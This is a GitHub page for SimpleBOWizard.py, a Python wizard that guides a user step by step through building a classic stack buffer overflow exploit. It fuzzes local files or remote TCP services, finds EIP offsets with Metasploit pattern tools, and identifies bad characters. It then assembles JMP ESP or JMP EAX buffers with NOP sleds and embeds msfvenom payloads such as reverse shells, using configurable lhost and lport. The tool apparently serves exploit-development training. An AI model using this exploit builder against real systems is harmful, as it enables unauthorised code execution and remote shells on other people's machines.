-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathSimpleBOWizard.py
More file actions
executable file
·1945 lines (1707 loc) · 58.5 KB
/
SimpleBOWizard.py
File metadata and controls
executable file
·1945 lines (1707 loc) · 58.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# =============================================================================
# The SimpleBOWizard guides through all steps required for a simple buffer
# overflow. The user can enter all required information step by step.
# Based on this, the exploit file will be created and updated.
# =============================================================================
# Author : nosce
# Date : February 2020
# License : MIT
# Status : Prototype
# =============================================================================
# -----------------------------------------------------------------------------
# Imports
# -----------------------------------------------------------------------------
from concurrent.futures import ThreadPoolExecutor
import struct
import sys
import time
import os
import re
import shlex
import shutil
import textwrap
import socket as so
import subprocess as sub
from binascii import unhexlify
from fileinput import FileInput
# -----------------------------------------------------------------------------
# Global variables and constants
# -----------------------------------------------------------------------------
_DEFAULT_POOL = ThreadPoolExecutor()
# Formatting for messages -----------------------------------------------------
BOLD = '\033[1m'
GREEN = '\033[32m'
YELLOW = '\033[33m'
RED = '\033[31m'
GRAY = '\033[37m'
CYAN = '\033[36m'
FORMAT_END = '\033[0m'
BLUE_BACK = '\x1b[0;30;44m'
BACK_END = '\x1b[0m'
# Buffer overflow values ------------------------------------------------------
# Global
bo_type = 'local'
current_step = -1
buffer = b''
# Local BO
file_ext = 'py'
file_name = 'exploit'
file = file_name + '.' + file_ext if file_ext else file_name
# Remote BO
target = '127.0.0.1'
port = 80
start_command = b''
end_command = b''
# Fuzzing
fuzz_buffer = []
fuzz_buff_length = 30
fuzz_char = b'A'
increase_step = 200
# Pattern
pattern_length = 2000
# Buffer
buf_length = 2000
offset = 1000
badchars = []
nop_sled = 16
nop_padding = 16
return_address = struct.pack('<L', 0x12345678)
# Payload
arch = 'x86'
platform = 'windows'
payload = 'windows/messagebox'
connect_ip = '127.0.0.1'
connect_port = 4444
payload_code = b''
char_string = b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
char_string += b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
char_string += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
char_string += b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
char_string += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
char_string += b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
char_string += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
char_string += b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
char_string += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
char_string += b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
char_string += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
char_string += b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
char_string += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
char_string += b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
char_string += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
char_string += b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
# -----------------------------------------------------------------------------
# Buffer types
# -----------------------------------------------------------------------------
class GenericBuffer:
"""
Basic Buffer sending an A-B-C payload, e.g for testing offsets
"""
def __init__(self):
self.id = 0
self.name = 'generic'
self.selectable = True
self.description = 'Simple A-B-C buffer'
self.select_text = 'None of these'
self.payload_size = buf_length - offset - 4 - len(start_command) - len(end_command)
self.buffer = b''
def get_buffer(self):
self.buffer = start_command
self.buffer += b"A" * offset # Overflow
self.buffer += b"B" * 4 # EIP content
self.buffer += b"C" * (buf_length - len(self.buffer) - len(end_command))
self.buffer += end_command
return self.buffer
def get_input(self):
print_error('Sorry! In this case, the wizard cannot build the right buffer automatically. '
'Please use the raw exploit file and modify it manually according your needs.')
def print_buffer(self):
return """
buffer = {start}
buffer += b'A' * offset
buffer += b'B' * 4
buffer += b'C' * (buf_length - len(buffer) - len({end}))
buffer += {end}
""".format(start=start_command,
end=end_command)
class ESPBuffer:
"""
Buffer which contains the payload after the return address. A JMP ESP command should be used as return address.
"""
def __init__(self):
self.id = 1
self.name = 'esp'
self.selectable = True
self.description = 'Buffer with payload in stack and JMP ESP'
self.select_text = 'The Top of Stack and following memory has been overwritten with Cs (ESP points to Cs)'
self.payload_size = buf_length - len(start_command) - offset - 4 - nop_sled - len(end_command)
self.buffer = b''
def get_buffer(self):
self.buffer = start_command
self.buffer += b"A" * offset
self.buffer += return_address
self.buffer += b'\x90' * nop_sled
self.buffer += payload_code
self.buffer += b"C" * (buf_length - len(self.buffer) - len(end_command))
self.buffer += end_command
if len(self.buffer) > buf_length:
print_warning('The buffer with payload is larger than the originally defined buffer length.\n'
'Check whether the exploit still runs properly.')
return self.buffer
def get_input(self):
print_info('Use the debugger to search for a JMP ESP address (e.g. Immunity Debugger: !mona jmp -r ESP)')
print_warning('Take care that the address does not contain a bad characters (such as 00)')
show_prompt_text('Enter a JMP ESP address:')
user_input = get_input(address_valid)
global return_address
return_address = struct.pack('<L', int(user_input, 16))
def print_buffer(self):
return """
buffer = {start}
buffer += b'A' * offset
buffer += b'{retr}' # Return address
buffer += b'{nop_char}' * {nop} # NOP sled
buffer += b'{payload}'
buffer += b'C' * (buf_length - len(buffer) - len({end})) # Padding
buffer += {end}
""".format(start=start_command,
retr=hex_to_print(return_address),
nop_char=hex_to_print(b'\x90'),
nop=nop_sled,
payload=hex_to_print(payload_code),
end=end_command)
class EAXBuffer:
"""
Buffer which contains the payload before the return address. Should be used if EAX points to first part of buffer.
A JMP EAX command should be used as payload.
"""
def __init__(self):
self.id = 2
self.name = 'eax'
self.selectable = True
self.description = 'Buffer with payload in EAX and JMP EAX'
self.select_text = 'The Top of Stack has not been overwritten; EAX points to As'
self.payload_size = offset - nop_sled - nop_padding
self.buffer = b''
def get_buffer(self):
self.buffer = start_command
self.buffer += b'\x90' * nop_sled
self.buffer += payload_code
self.buffer += b'\x90' * (offset - len(self.buffer))
self.buffer += return_address
self.buffer += b"C" * (buf_length - len(self.buffer) - len(end_command))
self.buffer += end_command
if len(self.buffer) > buf_length:
print_warning('The buffer with payload is larger than the originally defined buffer length. '
'Check whether the exploit still runs properly.')
return self.buffer
def get_input(self):
print_info('Use the debugger to search for a JMP EAX address (e.g. Immunity Debugger: !mona jmp -r EAX)')
print_warning('Take care that the address does not contain a bad characters (such as 00)')
show_prompt_text('Enter a JMP EAX address:')
user_input = get_input(address_valid)
global return_address
return_address = struct.pack('<L', int(user_input, 16))
def print_buffer(self):
return """
buffer = {start}
buffer += b'{nop_char}' * {nop} # NOP
buffer += b'{payload}'
buffer += b'{nop_char}' * (offset - len(buffer)) # Padding
buffer += b'{retr}' # Return address
buffer += b'C' * (buf_length - len(buffer) - len({end}))
buffer += {end}
""".format(start=start_command,
nop_char=hex_to_print(b'\x90'),
nop=nop_sled,
payload=hex_to_print(payload_code),
retr=hex_to_print(return_address),
end=end_command)
class FixedAddressBuffer:
"""
Buffer which contains the payload before the return address. Expects a fixed address which points to payload.
"""
def __init__(self):
self.id = 3
self.name = 'fixed'
self.selectable = True
self.description = 'Buffer with payload before EIP and pointer to fixed address'
self.select_text = 'The Top of Stack has not been overwritten but contains a fixed address which points to As'
self.payload_size = offset - nop_sled - nop_padding
self.buffer = b''
def get_buffer(self):
self.buffer = start_command
self.buffer += b'\x90' * nop_sled
self.buffer += payload_code
self.buffer += b'\x90' * (offset - len(self.buffer))
self.buffer += return_address
self.buffer += b"C" * (buf_length - len(self.buffer) - len(end_command))
self.buffer += end_command
if len(self.buffer) > buf_length:
print_warning('The buffer with payload is larger than the originally defined buffer length. '
'Check whether the exploit still runs properly.')
return self.buffer
def get_input(self):
show_prompt_text('Enter the address shown in the Top of Stack:')
user_input = get_input(address_valid)
global return_address
return_address = struct.pack('<L', int(user_input, 16))
def print_buffer(self):
return """
buffer = {start}
buffer += b'{nop_char}' * {nop} # NOP
buffer += b'{payload}'
buffer += b'{nop_char}' * (offset - len(buffer)) # Padding
buffer += b'{retr}' # Return address
buffer += b'C' * (buf_length - len(buffer) - len({end}))
buffer += {end}
""".format(start=start_command,
nop_char=hex_to_print(b'\x90'),
nop=nop_sled,
payload=hex_to_print(payload_code),
retr=hex_to_print(return_address),
end=end_command)
class PatternBuffer:
"""
Buffer which contains a unique pattern for determining the offset
"""
def __init__(self):
self.id = 4
self.name = 'pattern'
self.selectable = False
self.description = 'Buffer with pattern'
self.buffer = b''
self.pattern = b''
def get_buffer(self, pattern):
self.pattern = pattern
self.buffer = start_command
self.buffer += pattern
self.buffer += end_command
return self.buffer
def print_buffer(self):
return """
buffer = {start}
buffer += {pattern}
buffer += {end}
""".format(start=start_command,
pattern=self.pattern,
end=end_command)
class BadCharCBuffer:
"""
Buffer which contains all ASCII characters after the return address
"""
def __init__(self):
self.id = 5
self.name = 'badcharc'
self.selectable = False
self.description = 'Buffer with bad chars after EIP (in Cs)'
self.select_text = 'Enough space in stack for payload'
self.buffer = b''
def get_buffer(self):
self.buffer = start_command
self.buffer += b"A" * offset
self.buffer += b"B" * 4
self.buffer += char_string
self.buffer += b"C" * (buf_length - len(self.buffer) - len(end_command))
self.buffer += end_command
if len(self.buffer) > buf_length:
print_warning('The buffer with all ascii characters is larger than the originally defined buffer length. '
'Check whether the exploit still runs properly.')
return self.buffer
def print_buffer(self):
return """
buffer = {start}
buffer += b'A' * offset
buffer += b'B' * 4
buffer += b'{chars}'
buffer += b'C' * (buf_length - len(buffer) - len({end}))
buffer += {end}
""".format(start=start_command,
chars=hex_to_print(char_string),
end=end_command)
class BadCharABuffer:
"""
Buffer which contains all ASCII characters before the return address
"""
def __init__(self):
self.id = 6
self.name = 'badchara'
self.selectable = False
self.description = 'Buffer with bad chars before EIP (in As)'
self.select_text = 'Not enough space in stack for payload'
self.buffer = b""
def get_buffer(self):
self.buffer = start_command
self.buffer += b"A" * nop_sled
self.buffer += char_string
self.buffer += b"A" * (offset - len(self.buffer))
self.buffer += b"B" * 4
self.buffer += b"C" * (buf_length - len(self.buffer) - len(end_command))
self.buffer += end_command
if len(self.buffer) > buf_length:
print_warning('The buffer with all ascii characters is greater than the originally defined buffer length. '
'Check whether the exploit still runs properly.')
return self.buffer
def print_buffer(self):
return """
buffer = {start}
buffer += b'A' * {nop}
buffer += b'{chars}'
buffer += b'A' * (offset - len(buffer))
buffer += b'B' * 4
buffer += b'C' * (buf_length - len(buffer) - len({end}))
buffer += {end}
""".format(start=start_command,
nop=nop_sled,
chars=hex_to_print(char_string),
end=end_command)
class BufferTypes:
"""
Handles all available buffer types
"""
def __init__(self):
self.buf_types = [
GenericBuffer(),
ESPBuffer(),
EAXBuffer(),
FixedAddressBuffer(),
PatternBuffer(),
BadCharCBuffer(),
BadCharABuffer()
]
self.selected_buffer = None
def get_buffer_by_name(self, name):
for buf in self.buf_types:
if name == buf.name:
self.selected_buffer = buf
return buf
def get_buffer_by_id(self, buf_id):
for buf in self.buf_types:
if buf_id == buf.id:
self.selected_buffer = buf
return buf
def get_selectable_buffers(self):
selectable = list()
for buf in self.buf_types:
if buf.selectable:
selectable.append(buf)
return selectable
def hex_to_print(hex_string):
if len(hex_string) == 0:
return ""
return "\\x" + "\\x".join(a + b for a, b in zip(hex_string.hex()[::2], hex_string.hex()[1::2]))
# Init buffer list
buffer_list = BufferTypes()
# -----------------------------------------------------------------------------
# Descriptions of all parameters
# -----------------------------------------------------------------------------
# Returns lists with: parameter name, value, required, description
def desc_bo_type():
return ['type', bo_type, 'yes',
'Type of buffer overflow: local or remote']
def desc_step():
return ['step', current_step, 'yes',
'Currently selected wizard step']
def desc_file():
global file
file = file_name + '.' + file_ext if file_ext else file_name
return ['file', file, 'yes',
'File name; to change set the filename and file_ext parameters']
def desc_file_name():
return ['filename', file_name, 'yes' if bo_type is 'local' else 'no',
'Name of exploit file']
def desc_file_ext():
return ['fileext', file_ext, 'yes' if bo_type is 'local' else 'no',
'Extension of exploit file']
def desc_target():
return ['target', target, 'yes' if bo_type is 'remote' else 'no',
'IP of target system']
def desc_port():
return ['port', port, 'yes' if bo_type is 'remote' else 'no',
'Port on which application runs of target system']
def desc_start_command():
return ['command', str(start_command), 'no',
'Command which needs to be placed before calling the payload. '
'Enter with: set command "command". For raw ASCII input use: set command b"command". '
'Leave empty if not required']
def desc_end_command():
return ['end_command', str(end_command), 'no',
'Command which needs to be placed after calling the payload. '
'Enter with: set end_command "command". For raw ASCII input use: set command b"command". '
'Leave empty if not required']
def desc_fuzz_buff_length():
return ['fuzz_length', fuzz_buff_length, 'yes',
'How many payloads with increasing length will be created for fuzzing']
def desc_increase_step():
return ['fuzz_increase', increase_step, 'yes',
'How much the payload will be increased on each step']
def desc_fuzz_char():
return ['fuzz_char', fuzz_char.decode(), 'yes',
'Which character will be used for fuzzing the buffer']
def desc_pattern():
return ['pattern', pattern_length, 'yes',
'Length of alphanumeric pattern which will be generated.']
def desc_buf_length():
return ['buffer_length', buf_length, 'yes',
'Total length of buffer']
def desc_offset():
return ['offset', offset, 'yes',
'Offset for EIP overwrite']
def desc_badchars():
return ['badchars', ', '.join(c for c in badchars), 'yes',
'Which characters are not allowed in the buffer']
def desc_nop_sled():
return ['nop_sled', nop_sled, 'yes',
'Size of NOP sled before payload']
def desc_nop_padding():
return ['nop_padding', nop_padding, 'yes',
'Size of NOP padding after payload']
def desc_return_address():
return ['return', format(struct.unpack('<L', return_address)[0], 'x'), 'yes',
'Memory address to return to (e.g. JMP ESP address)']
def desc_arch():
return ['arch', arch, 'yes',
'Architecture of target system: 86 or 64']
def desc_platform():
return ['platform', platform, 'yes',
'Operating system or platform of target']
def desc_payload():
return ['payload', payload, 'yes',
'Type of payload. See msfvenom for possible options: msfvenom -l payloads']
def desc_connect_ip():
return ['lhost', connect_ip, 'yes' if bo_type is 'remote' else 'no',
'IP to connect to, e.g. with reverse shell']
def desc_connect_port():
return ['lport', connect_port, 'yes' if bo_type is 'remote' else 'no',
'Port to connect to, e.g. with reverse shell']
# -----------------------------------------------------------------------------
# Start
# -----------------------------------------------------------------------------
def check_dependencies():
"""
Checks if all required binaries are available
:return: (boolean) True if all dependencies fulfilled
"""
dependencies = ['msf-pattern_create', 'msf-pattern_offset', 'msfvenom']
deps_ok = True
for dep in dependencies:
try:
sub.call(dep, stdout=sub.DEVNULL, stderr=sub.DEVNULL)
except OSError:
deps_ok = False
print_error('Missing binary: {}'.format(dep))
if not deps_ok:
print_info('You need to install the Metasploit Framework')
return deps_ok
def print_welcome():
"""
Prints a welcome message to the screen
"""
print('''{}
╔═╗┬┌┬┐┌─┐┬ ┌─┐
╚═╗││││├─┘│ ├┤
╚═╝┴┴ ┴┴ ┴─┘└─┘
▄▄▄▄ ▒█████
▓█████▄ ▒██▒ ██▒
▒██▒ ▄██▒██░ ██▒
▒██░█▀ ▒██ ██░
░▓█ ▀█▓░ ████▓▒░
░▒▓███▀▒░ ▒░▒░▒░
▒░▒ ░ ░ ▒ ▒░
░ ░ ░ ░ ░ ▒ *
░ ░ ░ *°
*°`
╦ ╦┬┌─┐┌─┐┬─┐┌┬┐ *°``
║║║│┌─┘├─┤├┬┘ ││ (´***°``)
╚╩╝┴└─┘┴ ┴┴└──┴┘ ```*´´´
This wizards helps you getting
started with simple buffer overflows.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~{}
'''.format(CYAN, FORMAT_END))
def select_bo_type():
"""
Prints the buffer overflow types to the screen and stores the users selection
"""
show_prompt_text('Select type of buffer overflow:')
show_prompt_text('[ L ] Local buffer overflow', False)
show_prompt_text(' {} = Open a malicious file in an application {}'.format(GRAY, FORMAT_END), False)
show_prompt_text('[ R ] Remote buffer overflow', False)
show_prompt_text(' {} = Send a malicious request via TCP to an application {}'.format(GRAY, FORMAT_END), False)
user_input = get_input(bo_type_valid)
global bo_type
bo_type = 'local' if user_input in ['l', 'loc', 'local'] else 'remote'
# -----------------------------------------------------------------------------
# Steps
# -----------------------------------------------------------------------------
def start_steps():
"""Starts the wizard steps, beginning with fuzzing"""
step_fuzzing()
def step_fuzzing():
"""
We will increasing payloads and send them to the application to find out at which length a buffer overflow occurs
"""
global current_step
current_step = 0
show_step_banner('[0] Fuzzing')
if bo_type == 'local':
# File extension
show_prompt_text('Enter file extension:')
user_input = get_input(ext_valid)
global file_ext
global file
file_ext = user_input
file = file_name + '.' + file_ext if file_ext else file_name
print('\n{} files with increasing size will be generated. The following settings will be used:\n'.format(
fuzz_buff_length))
settings = [desc_file_ext(), desc_fuzz_buff_length(), desc_fuzz_char(), desc_increase_step(),
desc_start_command(), desc_end_command()]
elif bo_type == 'remote':
# Target IP
show_prompt_text('Enter target IP:')
user_input = get_input(ip_valid)
global target
target = user_input
# Target port
show_prompt_text('Enter target port:')
user_input = get_input(port_valid)
global port
port = int(user_input)
print('\nA fuzzing file will be generated. The following settings will be used:\n')
settings = [desc_target(), desc_port(), desc_fuzz_buff_length(), desc_fuzz_char(),
desc_increase_step(), desc_start_command(), desc_end_command()]
# Optional: file name, buffer length, increase, start command
show_settings(settings)
if proceed_ok():
if bo_type == 'local':
dump_local_fuzz()
elif bo_type == 'remote':
dump_remote_fuzz()
run_remote_fuzzing()
# Proceed
step_pattern()
def step_pattern():
"""
Based on the buffer length determined through fuzzing (previous step), we will create and send
a unique pattern which will help us finding the offset
"""
global current_step
current_step = 1
show_step_banner('[1] Finding offset')
# Get length from fuzzing
show_prompt_text('Enter the length at which the application/service crashed:')
user_input = get_input(number_valid)
global pattern_length
pattern_length = int(user_input) - len(start_command) - len(end_command)
global buf_length
buf_length = int(user_input)
# Call Metasploit framework
tmp_file = 'pattern.txt'
command = 'msf-pattern_create -l {} > {}'.format(pattern_length, tmp_file)
thread = call_command(command)
while thread.running():
animation('Creating pattern')
# Proceed if pattern creation was successful
if thread.result() == 0:
print()
# Buffer ----------------------------------
with open(tmp_file, 'r') as f:
pattern = f.read().splitlines()[0].encode()
global buffer
buffer = buffer_list.get_buffer_by_name('pattern').get_buffer(pattern)
# -----------------------------------------
os.unlink(tmp_file)
print('The exploit file will be generated. The following settings will be used:\n')
if bo_type == 'local':
settings = [desc_pattern(), desc_start_command(), desc_end_command()]
show_settings(settings)
if proceed_ok():
dump_local_exploit()
print(' Load file into vulnerable application and check which pattern is shown in EIP on crash.')
elif bo_type == 'remote':
settings = [desc_target(), desc_port(), desc_pattern(), desc_start_command(), desc_end_command()]
show_settings(settings)
if proceed_ok():
dump_remote_exploit()
run_remote_exploit()
# Proceed
step_offsets()
def step_offsets():
"""
In the offset step, the user enters the value that overwrites EIP.
By comparing this value to the pattern (previous step), the offset can be determined.
We will then build a custom payload that places Bs in the EIP.
The user must then check in the debugger whether the offset has been calculated properly.
"""
global current_step
current_step = 2
show_step_banner('[2] Checking offsets')
# Get EIP offset from pattern -----------------------------------------------
show_prompt_text('Enter the 8 characters that are shown in the EIP:')
user_input = get_input(pattern_valid)
# Call Metasploit framework
tmp_file = 'offset.txt'
command = 'msf-pattern_offset -q {} > {}'.format(shlex.quote(user_input), tmp_file)
thread = call_command(command)
while thread.running():
animation('Finding offset')
# Proceed if finding offset was successful
if thread.result() == 0:
print()
with open(tmp_file, 'r') as f:
result = f.read()
try:
global offset
offset = int(result.split(' ')[-1])
print_info('Offset at ' + str(offset))
except (ValueError, IndexError):
print_error('Could not find string in pattern. Maybe the exploit did not work?')
print_info('You could return to step [1] and try increasing the length.')
os.unlink(tmp_file)
valid_step = False
while not valid_step:
show_prompt_text('With which step do you want to proceed?')
user_input = get_input(number_valid)
if set_step(user_input):
valid_step = True
os.unlink(tmp_file)
# Get stack (ESP) offset from pattern ---------------------------------------
show_prompt_text('Enter the 8 characters that are shown at the top of stack:')
user_input = get_input(pattern_valid)
# Call Metasploit framework
tmp_file = 'offset.txt'
command = 'msf-pattern_offset -q {} > {}'.format(shlex.quote(user_input), tmp_file)
thread = call_command(command)
while thread.running():
animation('Finding offset')
# Proceed if finding offset was successful
if thread.result() == 0:
print()
with open(tmp_file, 'r') as f:
result = f.read()
try:
stack_offset = int(result.split(' ')[-1])
print_info('Offset at ' + str(stack_offset))
global nop_sled
off_stack_dist = stack_offset - offset
if off_stack_dist > nop_sled:
nop_sled = off_stack_dist
except (ValueError, IndexError):
print_info('Could not find string in pattern. '
'Seems that the overflow did not overwrite the stack. We will deal with that later.')
os.unlink(tmp_file)
# Create check file ---------------------------------------
global buffer
buffer = buffer_list.get_buffer_by_name('generic').get_buffer()
if bo_type == 'local':
dump_local_exploit()
elif bo_type == 'remote':
update_remote_exploit()
run_remote_exploit()
print(
' Does the EIP show 42424242? If not, something is wrong with the offset and you should repeat the previous steps.')
print_info('Write the address down where the Cs start. You can use it later to find bad characters with mona.')
# Proceed
if proceed_ok():
step_badchars()
def step_badchars():
"""
In the badchar step an ASCII string is repeatedly passed as payload.
The user has to examine the result in a debugger and enter the characters that break the exploit.
These characters are stored and will be considered later when creating the real payload.
"""
global current_step
current_step = 3
show_step_banner('[3] Finding bad characters')
print_info('You must probably repeat this step multiple times until you have found all bad characters.')
# Mona info
print('''{}
In Immunity Debugger, you can use mona to find the bad characters. To do so, do the following before running the exploit:
1. Set up working directory: !mona config -set workingfolder c:\\mona\\%p
2. Create byte array: !mona bytearray
{}'''.format(GRAY, FORMAT_END))
all_chars_found = False
while not all_chars_found:
global buffer
buffer = buffer_list.get_buffer_by_name('badcharc').get_buffer()
if bo_type == 'local':
dump_local_exploit()
elif bo_type == 'remote':
update_remote_exploit()
run_remote_exploit()
print('\n Can you see all Cs when following ESP or EAX in dump (depending on where the Cs are stored)?')
print('''{}
In Immunity Debugger, you can use mona to find the bad characters.
To do so, do the following before resending the exploit:
1. Compare: !mona compare -f c:\\mona\\<app name>\\bytearray.bin -a <address where Cs should start>
2. Recreate byte array: !mona bytearray -cpb "{}<new_bad_char>"
{}'''.format(GRAY, '\\x' + '\\x'.join(c for c in badchars), FORMAT_END))
show_prompt_text('Enter the character (e.g. 00, 0a, 0d) which does not show up or breaks the exploit')
show_prompt_text('To show all possible ascii characters enter {}show ascii{}'.format(BOLD, FORMAT_END))
show_prompt_text('Leave empty / press Enter when there a no more bad characters.')
user_input = get_input(bad_char_valid)
if user_input == '':
all_chars_found = True
else:
# Remove from badchar string
char = unhexlify(user_input)
global char_string
char_string = char_string.replace(char, b'')
# Append to list of bad chars
badchars.append(user_input)
# Proceed
step_return()
def step_return():
"""
By examining the buffer overflow, we can determine where to put the payload and which command to use to access it
"""
global current_step
current_step = 4
show_step_banner('[4] Finding return address')
show_prompt_text('Examine the buffer overflow in the debugger. Which case does apply?')
buf_types = buffer_list.get_selectable_buffers()
for b in buf_types:
show_prompt_text('[ ' + str(b.id) + ' ] ' + b.select_text, False)
# Wait for user selection
while True:
user_input = int(get_input(number_valid))
if 0 <= user_input < len(buf_types):
break
print_warning('The number you entered is invalid')
# Handle selected buffer type
selected = buffer_list.get_buffer_by_id(user_input)
selected.get_input()
global buffer
buffer = selected.get_buffer()
if bo_type == 'local':
dump_local_exploit()
elif bo_type == 'remote':
update_remote_exploit()
run_remote_exploit()
# Proceed
print(' Check if everything is where it should be. If not, repeat previous steps.')
if proceed_ok():
step_payload()
def step_payload():
"""
We define the type of payload we wish to send and create the final exploit file.
"""
global current_step
current_step = 5
show_step_banner('[5] Creating payload')
# Set IP -----------------
global connect_ip
show_prompt_text('Enter your IP (hit Enter to use current value {}):'.format(connect_ip))
user_input = get_input(ip_valid)
if user_input != '':
connect_ip = user_input
# Set port -----------------
global connect_port
show_prompt_text('Enter the port to listen on (hit Enter to use current value {}):'.format(connect_port))
user_input = get_input(port_valid)
if user_input != '':
connect_port = user_input
# Set architecture -----------------
global arch
show_prompt_text('Enter the target architecture (hit Enter to use current value {}):'.format(arch))
user_input = get_input(arch_valid)
if user_input != '':
arch = 'x' + user_input
# Set platform -----------------
global platform
show_prompt_text('Enter the target platform (hit Enter to use current value {}):'.format(platform))
user_input = get_input(platform_valid)
if user_input != '':
platform = user_input
# Set payload -----------------
global payload
while True:
show_prompt_text('Enter payload type'.format(payload))
show_prompt_text('Show all available with {}show payloads{}'.format(BOLD, FORMAT_END))
user_input = get_input(payload_valid)
if user_input == 'show payloads':
show_payloads()
continue
else:
# Create payload -----------------
payload = user_input
payload_ok = create_payload()
if payload_ok and bo_type == 'local':
dump_local_exploit()
elif payload_ok and bo_type == 'remote':
update_remote_exploit()
run_remote_exploit()
show_prompt_text('Did your exploit work? If not, try sending a different payload.')
show_prompt_text(
'Enter {}again{} to try again. Hit Enter if everything worked fine.'.format(BOLD, FORMAT_END))
user_input = get_input(check_text)
if user_input == '':
break
else:
continue
# Finally show prompt till user exits
get_input(generic_check)
def create_payload():
"""Creates a palyoad with msfvenom and updates the buffer"""
tmp_file = 'payload.py'
payload_size = buffer_list.selected_buffer.payload_size
